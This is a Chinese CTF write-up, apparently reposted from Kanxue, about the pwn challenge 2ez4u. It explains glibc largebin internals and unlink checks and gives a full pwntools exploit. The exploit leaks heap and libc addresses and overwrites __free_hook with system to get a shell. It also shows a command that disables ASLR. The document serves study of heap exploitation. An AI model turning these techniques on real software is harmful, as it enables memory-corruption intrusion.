一道pwn题目2e4zu的深入分析
2022-5-25 18:15:12 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏


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看雪论坛作者ID:Nameless_a

largebin attack

这个玩意真的折磨,听pwn说这个用的不多,不过可以通过学习它对unlink有一个更加深入的了解。

largebin 的插入管理机制

一开始学的时候,看各个博客师傅的讲解,大同小异但是都能看明白。各个师傅都有对libc里面largebin插入操作的源码的分析。不过本人才疏学浅,一开始属实都没看懂,于是自己找源码看了看。现在同样以注释的方式记录一下自己对源码(glibc 2.33)的分析。
 
            if (in_largebin_range (size)) //判断是否属于largebin            {              victim_index = largebin_index (size); //寻找当前size在largebin中的              bck = bin_at (av, victim_index); //寻找main_arena              fwd = bck->fd;//size最大的chunk的地址               /* maintain large bins in sorted order */              if (fwd != bck) //如果表不为空                {                  /* Or with inuse bit to speed comparisons */                  size |= PREV_INUSE;                  /* if smaller than smallest, bypass loop below */                  assert (chunk_main_arena (bck->bk));                  if ((unsigned long) (size) < (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾                    {                      fwd = bck;//感觉这个不符合我自己的编码习惯,如果我写我肯定fwd=bck->fd,也好理解一些                      bck = bck->bk;                       victim->fd_nextsize = fwd->fd;                      victim->bk_nextsize = fwd->fd->bk_nextsize;                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//总的来说,就是链表的插入操作                    }                  else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面                    {                      assert (chunk_main_arena (fwd));                      while ((unsigned long) size < chunksize_nomask (fwd))                        {                          fwd = fwd->fd_nextsize;              assert (chunk_main_arena (fwd));                        }                       if ((unsigned long) size              == (unsigned long) chunksize_nomask (fwd))                        /* Always insert in the second position.  */                        fwd = fwd->fd;//如果说是已经存在相同大小的chunk,就纵向插入                      else                        {                          victim->fd_nextsize = fwd;                          victim->bk_nextsize = fwd->bk_nextsize;                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");                          fwd->bk_nextsize = victim;                          victim->bk_nextsize->fd_nextsize = victim;                        }                      bck = fwd->bk;//这里的bck是用来纵向插入的                      if (bck->fd != fwd)                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改                    }                }              else                victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指            }           mark_bin (av, victim_index);          victim->bk = bck;          victim->fd = fwd;          fwd->bk = victim;          bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL
其实可以理解为纵向链接和横向链接。就是一个绳子上用链条(fd_nextsize和bk_nextsize)挂着大小不同的珠子,大小相同的珠子通过磁力(fd和bk指针)又挂在一起。这个就是largebin的插入管理机制。
 
关于对指针恶意修改的检测,貌似只有2.29以后才有。

如何从largebin取出堆块

这里默认能够从largebin中取出。
 
先找到相应的index,在index中从小到大遍历堆块,找到第一个比所需大小大(或等于)的堆块。然后unlink,和其它的bins一样,存在着对fd,bk,fd_nextsize以及bk_nextsize的检测。
 
对取下的chunk如果大小不等于申请的size,那就存在着切割操作。如果剩余大小大于MINSIZE。则返还给unsorted bin,否则一并给用户。

largebin的利用手法

(1)申请伪造的堆块来泄露堆地址(glibc2.23)
如果有两个连续的chunk1,2。内存中地址的排布为chunk1位于高地址,如果我们能够在chunk1中伪造一个chunk,并且能够申请到它。那么如果chunk2是位于双向链表维护的bin中,就可以leak libc了。
 
那么如何才能申请到伪造的堆块呢?就要利用到largebin的分配机制了。
 
如果是通过在largebin里取出一块大小为size的chunk,系统会从size最小的chunk开始,通过bk_nextsize指针,不断寻找第一块size不小于所需size的chunk,然后分配给用户。如果我们把bk_nextsize设置为fake_chunk,即可完成fake_chunk的调用。
 
不过没这么简单,取下这个chunk要经过unlink,然而unlink存在对fd,bk,fd_nextsize,bk_nextsize指针的检测,检查p->fd->bk是否等于p等。
 
绕过p->fd-bk是否等于p这个和unsorted bin unlink差不多,都是找到一块存fake_chunk的地址address,然后把fake_chunk的fd,bk指针分别置为address-0x18和address-0x10。
 
绕过p->fd_nextsize->bk_nexsize==p,则需要我们伪造一个堆块,进行如上的连接。
 
有个小技巧,就是在取下fake_chunk的同时,我们可以把chunk2放入smallbin里。做法就是先free chunk2,再通过add从largebin中取chunk,通过unsorted bin的大循环机制,放入smallbin就可泄露libc了。

如何关闭地址随机化方便调试

sudo suecho 0 > /proc/sys/kernel/randomize_va_space

libc版本:libc2.23

思路

这题考察了uaf,unlink,largebin attack,fastbin attack, unsortedbin attck,还有smallbin的一些知识,属于前期堆题技巧的一些汇总了(除了tcache没涉及),所以很值得复现。
这题完全弄懂的话,前期的一些堆题的利用就没啥问题了,可以开house of 系列了。所以有关这道题的题解我会认真去写,尽可能的详细,而且这道题博主本身也做了蛮久的,看网上有些师傅的wp都看了好久。
所以希望以这次复现为契机,好好的复习一下自己学过的堆块的机制。

保护

 
习惯了。

ida

main

分别是add,delet,edit和show函数。

add

 
 
发现会形成如下结构体:
 
ymnh给的改结构体的教程https://blog.csdn.net/liujiayu2/article/details/77488078,不过大师傅从来不用所以俺就延续大师傅的肉眼调试了。
 
这道题堆块的放入也是折磨人的一个点,它是用一个bool指针给数组上的位置打标记。所以delet之后的重新add的位置就可能乱覆盖一些我们想保留的东西,我们只能在之前添加几个类似替罪羊的东西。但是这样又要考察我们的堆布局的能力,而且是牵一发动全身的那种。
struct apple{     int color;     int num;     int_64 value;     int index;     int_64 description;}

delet

 
发现存在uaf漏洞(注意上面置为0的是在数组里的标记,也就是前面add检测该内存有没有放过堆块,之后的add有可能覆盖这个内存上的堆块地址,但是不会立马清除),通过uaf我们能够edit large chunk的bk_nextsize,实现largebin attack等。

show

 
注意这里的description打印的是bk_nextsize,就不能用unsorted bin的fd或bk指针泄露libc了(但是ymnh试了试可以,据说是利用unsorted bin切割堆块,但是俺还不会)。但是可以利用largebin泄露堆块地址。

edit

和add差不大多所以就不提了

解题过程

堆布局

这里的堆布局要注意几个点:

(1)用largebin leak的堆的末尾地址不能为'\x00'否则会触发截断

(2)两个地址连续的大堆块放入unsorted bin会触发合并

(3)delet的大堆块不能和chunk_top相连否则会与之合并

(4)伪造的堆块如果free,那么必须满足下下个堆块的size的preinsure==1(俺试出来的QAQ)

反正就是要不断调整布局,俺在leaklibc的过程中各种调整,每次调整都要改伪造的堆块地址,简直折磨。但这种东西你不可能一开始就想得很周到,只能做完了把exp改得漂亮一点,但这又有什么意义呢。

泄露堆块地址

利用largebin的bk_nextsize存放堆块的机制,largechunk uaf泄露堆地址

泄露libc

通过伪造堆块和fd,bk,fd_nextsize,bk_nextsize指针以及fake_chunk后面的堆块的pre_size和size。反正核心就是绕过unlink的那几个检查。并且这几个bin取堆块基本上是通过bk或bk_nextsize指针。
 
值得注意的点是,让#7与smallbin的main_arena相连应该在用padding覆盖#2之后。因为这道题的read有一个'00'截断,会影响puts的打印。
 
这里还有一个unsorted bin大循环的机制,就是尝试从unsorted bin中寻找堆块失败的话,会从fastbin中取出所有堆块进入unsorted bin尝试合并(只有地址连续的才能合并成功),未能合并的chunk会放入smallbin。利用small bin的双链表机制泄露libc。

unsorted bin && fastbin attack

 
fastbin attack很好懂,主要是通过原来的堆块往伪造的堆块的fd指针写值
 
unsorted bin attack 主要是破坏unsorted bin来实现bk指针指向的是free_hook上面的一段,从而能够实现地址错位绕过chunk的检查。

exp

from pwn import *from LibcSearcher import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256import base64context.log_level='debug'context.arch = 'amd64'context.os = 'linux'r=process('./2ez4u')libc=ELF('./libc-2.23.so') def z():    gdb.attach(r) def cho(num):    r.sendlineafter("your choice: ",str(num)) def add(size,con):    cho(1)    r.recvuntil("color?(0:red, 1:green):")    r.sendline(str(0))    r.recvuntil("value?(0-999):")    r.sendline(str(0))    r.sendlineafter("num?(0-16):",str(0))    r.sendlineafter("description length?(1-1024):",str(size))    r.sendlineafter("description of the apple:",con) def delet(idx):    cho(2)    r.sendlineafter("which?(0-15):",str(idx)) def edit(idx,con):    cho(3)    r.sendlineafter("which?(0-15):",str(idx))    r.recvuntil("color?(0:red, 1:green):")    r.sendline(str(0))    r.recvuntil("value?(0-999):")    r.sendline(str(0))    r.sendlineafter("num?(0-16):",str(0))    r.sendlineafter("description of the apple:",con) def show(idx):    cho(4)    r.sendlineafter("which?(0-15):",str(idx))  add(0x60,'0'*0x60)#0add(0x60,'1'*0x60)#1add(0x60,'2'*0x60)#2add(0x60,'3'*0x60)#3add(0x60,'4'*0x60)#4add(0x60,'5'*0x60)#5add(0x3f0,'nameless')#6add(0x60,  '8'*0x60 )#7add(0x3e0, '9'*0x1b0)#8add(0x60,  '9'*0x80 )#9add(0x3f0, "nameless")#aadd(0x60-0x18,  'b'*0x30 )#badd(0x60-0x18,  'c'*0x30 )#cadd(0x60-0x18,  'd'*0x30 )#d ##leak_heapadressdelet(0)delet(8)delet(0xa)add(0x400,'nameless') #0show(0xa)r.recvuntil('description:')heap=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x790log.success('heap:'+hex(heap)) ##leak_libcfake_chunk=heap+0x130chunk1=heap+0xc10 #10chunk2=heap+0x1b0 #3target=heap+0xb0pd=p64(0)*2+p64(0x411)+p64(target-0x18)+p64(target-0x10)+p64(chunk1)+p64(chunk2)edit(2,pd)edit(0xa,p64(fake_chunk))edit(1,p64(0)+p64(fake_chunk))pd=p64(0)*2+p64(0x421)+p64(0)*2+p64(fake_chunk)edit(3,pd)edit(6,'6'*0x218+p64(0x410)+p64(0x411))delet(5)delet(3)add(0x3f0,'3'*56)add(0x60,'nameless')show(3)libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3a43a8-(libc.sym['__libc_start_main']+240)free_hook=libcbase+libc.sym['__free_hook']system=libcbase+libc.sym['system']log.success('libcbase:'+hex(libcbase))log.success('system:'+hex(system)) ##unsortedbin attackdelet(3)pd=p64(0)*2+p64(0x411)+p64(0)+p64(free_hook-0x48)edit(2,pd)add(0x3f0,'nameless') ##fastbin attackpd=p64(0)+p64(0)+p64(0x71)edit(2,pd)edit(3,0x50*'a'+p64(0x431))delet(3)pd=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)edit(2,pd)add(0x50,'/bin/sh\x00')add(0x50,0x13*'a'+p64(system))pd=p64(0)+p64(0)+p64(0x71)+'/bin/sh\x00'edit(2,pd)delet(3)r.interactive()

看雪ID:Nameless_a

https://bbs.pediy.com/user-home-943085.htm

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文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458448087&idx=1&sn=3595bf9bf964f546f0126d25482570e1&chksm=b18fc05d86f8494bbdb90f94263ecb483db007b87b31127ac396851d1ee68e84f7e28beffae6#rd
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